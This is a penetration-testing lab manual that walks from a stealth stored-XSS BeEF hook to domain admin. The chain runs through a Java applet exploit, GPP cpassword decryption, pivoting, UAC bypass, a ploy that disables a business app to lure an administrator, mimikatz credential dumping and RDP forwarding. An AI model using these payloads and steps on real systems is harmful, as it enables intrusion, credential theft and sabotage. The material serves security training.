© 2018 Caendra, Inc. - Hera For PTP - From XSS To Domain Admin
© 2018 Caendra, Inc. - Hera For PTP - From XSS To Domain Admin
• blog.fooresearch.site (172.16.111.1)
Note: Add the following to your /etc/hosts file in order to resolve the host:
172.16.111.1 blog.fooresearch.site
To contact the web application, you can either use its DNS name or its IP address. It doesn't
matter for this lab which option you choose.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 2
• Get a shell to an internal machine by exploiting the XSS in the blog
• Get some local administrator credentials
• Get Active Directory administrator credentials
• Get access to a domain controller as a domain administrator
• As a proof of concept for your report, take a screenshot of an admin RDP session on
the domain controller
To guide you during the lab you will find different Tasks.
Tasks are meant for educational purposes and to show you the usage of different tools and
different methods to achieve the same goal.
Armed with the skills acquired though the task you can achieve the Lab goal.
If this is the first time you do this lab, we advise you to follow these Tasks.
Once you have completed all the Tasks, you can proceed to the end of this paper and check
the solutions.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 3
• Browser
• BeEF-XSS
• Metasploit
Hook an internal browser with BeEF-XSS. Your XSS has to be stealth. If a user detects
something strange, for example an alert(), they will stop browsing the blog.
Get information about the browser and its plugins, try to find a vulnerable plugin to exploit.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 4
Get information about the AD infrastructure, especially:
Exploiting default group policies’ files permission get the username and password of a local
administrator account.
Identify other hosts on the network and get information about their operating systems.
Choose your next target and use the credentials you got at the previous task to get a shell.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 5
Open an RDP connection to a domain controller as a domain admin as PoC of your
exploitation.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 6
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 7
Start BeEF-XSS and inject its hooking script in the comment section of the blog. Something
like:
<script src="http://address:3000/hook.js"></script>
Remember to use your VPN address in the payload. Once a victim visits the blog you will
find a new entry in the BeEF console. Your browser will be hooked too :-)
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 8
Use BeEF’s Details tab and the Host > Get System Info command within the
“Commands” tab to get information about the browser, the OS and the plugins installed.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 9
As you can see from the second screenshot Java 1.0.0_17 is installed. Let us move on to
Metasploit to find if we can exploit the plugin.
Metasploit has some modules to exploit jre17 vulnerabilities. You can use
java_jre17_provider_skeleton as it is very stable.
It has several targets available, you can see them by typing the “show targets” command.
Exploit targets:
Id Name
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 10
-- ----
0 Generic (Java Payload)
1 Windows x86 (Native Payload)
2 Mac OS X x86 (Native Payload)
3 Linux x86 (Native Payload)
As you know (from Task 2) the OS is a Windows 7 32 bit you can set it as a target:
And finally, the exploit command will generate a URL hosting a malicious Java applet.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 11
Now, you can send this payload to a vulnerable machine in two ways:
Choosing the second option gives you a better control over your exploiting session. This
way you can exploit just the machine you hooked via BeEF.
If you choose the first option, you could inject your payload also to other machines.
On BeEF you can use the Misc > Create Invisible Iframe command:
After some seconds the browser will receive and execute the payload, thus giving you a
Meterpreter shell on the victim machine.
By using the sessions -i 1 command in msfconsole, you will access to the interactive
Meterpreter shell.
You can get some information about the system and your privileges by using some
standard Meterpreter commands, like:
• Sysinfo
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 12
• Getuid
• Ifconfig
And so on…
As you can see you have standard user privileges, so you cannot escalate to system
privileges, as can be seen with the “getsystem” command in the screenshot below.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 13
Remember to keep track of the IP address and the most relevant information about the
machine. You will need the network address (192.168.200.0/24) later.
You can carry on the Active directory exploitation by using a standard cmd shell. Metasploit
gives you some modules to do that, but they do not work in every case or configuration.
You can drop a cmd shell by issuing the shell command to meterpreter.
Then you can use the set command to get information about the environment variables in
your victim’s environment.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 14
The most interesting values are:
• LOGONSERVER, gives you information about the domain controller used for
authentication
• USERDNSDOMAIN, gives you information about the FQDN of the AD domain
• USERDOMAIN, contains the name of the AD domain in NT format
• USERNAME, contains the current username in NT format
You can also use some Meterpreter commands to get information from the AD
infrastructure by loading the extapi extension.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 15
Active Directory policies are stored in a special UNC path:
%USERDNSDOMAIN%\Policies
But you cannot access UNC paths via cmd, so you have to use the Sysvol share you can find
on a domain controller:
%LOGONSERVER%\Sysvol
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 16
meterpreter > shell
Process 3472 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\SecondUser\Desktop>
Next, we can use the “net use” command to mount the SysVol share on the Domain
Controller as a drive called “X”:
C:\Users\SecondUser\Desktop>X:
X:
X:\>cd examplead.lan\Policies
cd examplead.lan\Policies
X:\examplead.lan\Policies>dir
dir
Volume in drive X has no label.
Volume Serial Number is 6C66-920E
Directory of X:\examplead.lan\Policies
Than you can find user creation policies by searching for groups.xml files in the policies
directory.
X:\examplead.lan\Policies>dir /s *.xml
dir /s *.xml
Volume in drive X has no label.
Volume Serial Number is 6C66-920E
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 17
Directory of X:\examplead.lan\Policies\{69BCC2AD-B7E5-4E02-833D-
DBFDD19E7EB4}\Machine\Preferences\Groups
Directory of X:\examplead.lan\Policies\{9E4B6CF5-DE26-4631-A4A6-
D0C845998366}\Machine\Preferences\Groups
X:\examplead.lan\Policies>
Those files contain information about local users and groups deployed via group policies.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 18
Those files also contain information about usernames, encrypted passwords and the
groups.
X:\examplead.lan\Policies>type X:\examplead.lan\Policies\{69BCC2AD-B7E5-4E02-
833D-DBFDD19E7EB4}\Machine\Preferences\Groups\Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User
clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="LADM" image="0"
changed="2014-07-31 12:11:27" uid="{02526B4C-A2A5-48D9-A357-
80B0D8E9825D}"><Properties action="C" fullName="" description=""
cpassword="0cU/uGQrF5Xfhm61HAK8wFlfYce2W6ODQAeI957VrqY" changeLogon="0"
noChange="0" neverExpires="1" acctDisabled="0" userName="LADM"/></User>
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}"
name="Administrators" image="2" changed="2014-07-31 12:11:54" uid="{AEAF1E3C-
2DC1-4206-A907-6064727BB08A}"><Properties action="U" newName=""
description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0"
groupName="Administrators"><Members><Member name="LADM" action="ADD"
sid=""/></Members></Properties></Group>
</Groups>
X:\examplead.lan\Policies>
To decrypt the password, you can use the gpp-decrypt tool in kali.
$ gpp-decrypt 0cU/uGQrF5Xfhm61HAK8wFlfYce2W6ODQAeI957VrqY
Pm2fUXScqI
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 19
You can find other Windows machines by running a post module within the Meterpreter
session.
To get information about any kind of machine, you should also use other methods like a
ping sweep or a port scan on the 192.168.200.0/24 network.
To do that you need to route the traffic from other Metasploit modules through your
existing Meterpreter session:
meterpreter> background
msf> route add 192.168.200.0 255.255.255.0 1
[*] Route added
To detect the SMB version, thus the OS version, of the Windows machines you can use the
“smb_version” scanner module:
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 20
The module discovers a Windows 2008, an unidentified host, and the Windows 7 machine
you already got the shell on.
We’ll continue on our path from our existing Windows 7 shell for now, as it will be a good
learning lesson along the way :)
Windows 7 does not accept a psexec command from a non-domain admin by default, so
you need a way to get around that.
It is up to you to choose if you want to run the handler from a second msfconsole, or you
want to run it in the background by using the -j switch for the exploit command.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 21
[*] Exploit running as background job 1.
To get around the first two limitations you can upload the generated exploit exe to the
target machine, and we can then use the “windows/manage/run_as” module to execute
our payload as the LADM user for which we’ve obtained credentials for via the SysVol
information disclosure.
Next, we’ll use the icacls cmd command to grant full control to “Everyone” for the
payload we uploaded to the SecondUser user directory:
C:\Users\SecondUser>
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 22
Finally, we can configure the windows/manage/run_as module to execute our payload as
the LADM user:
This should result in getting another meterpreter session, this time however, as the LADM
user.
The new Meterpreter session runs under local administrator account privileges. We can
also see above, that the “getsystem” command fails with an “Access Denied” error. If you
want to escalate to SYSTEM, you must bypass UAC.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 23
We background the meterpreter session, and load the bypassuac_injection module to
accomplish this.
Note: Make sure you configure the module for the session running under the LADM user.
This should be the newest session.
meterpreter >
If the module fails the first time, you may need to run it a couple of times before
successfully bypass UAC.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 24
You know that LegacyApp and ModernApp are used by users. You can see ModernApp.exe
running on the Windows 7 machine by issuing the ps command in meterpreter.
If you try to kill the application, the user will re-open it, but if you kill it and then delete the
executable file, the user will not be able to run it again. If a user cannot run a business
application, they will call the IT Support.
Then someone from the IT staff will connect to the machine to fix the problem. The idea
here is that a network administrator will connect to the machine to restart the application,
which should leave credentials in memory.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 25
After waiting some time for the admin to connect, you can re-check the running processes
and confirm that the Domain Administrator has authenticated to the machine running
several processes.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 26
We can now dump the Domain Administrators’ credentials using mimikatz.
In order to load mimikatz, we should first run the “getsystem” command from our
meterpreter session.
Next, now that we’re SYSTEM on the target, let’s see if we can use mimikatz to dump the
“exampleadm” users’ password from memory.
First, we’ll load the mimikatz extension from our current meterpreter session:
Next, we run the “Kerberos” command, but quickly realize there are no passwords to be
obtained here.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 27
kerberos credentials
====================
We can see our “ExampleAdm” user in the output above, however, no password. We try the
“wdigest” option which ultimately, is a success.
Using this information, we can proceed to trying to connect to the domain controller using
the newly acquired credentials.
To connect via remote desktop, we have to first forward our RDP traffic through an existing
Meterpreter session.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 28
We’ll forward the port 3389 (RDP) of the DC01 machine (192.168.200.100) to your local
machine.
© 2018 Caendra, Inc. | Hera for PTP | From XSS to Domain Admin 29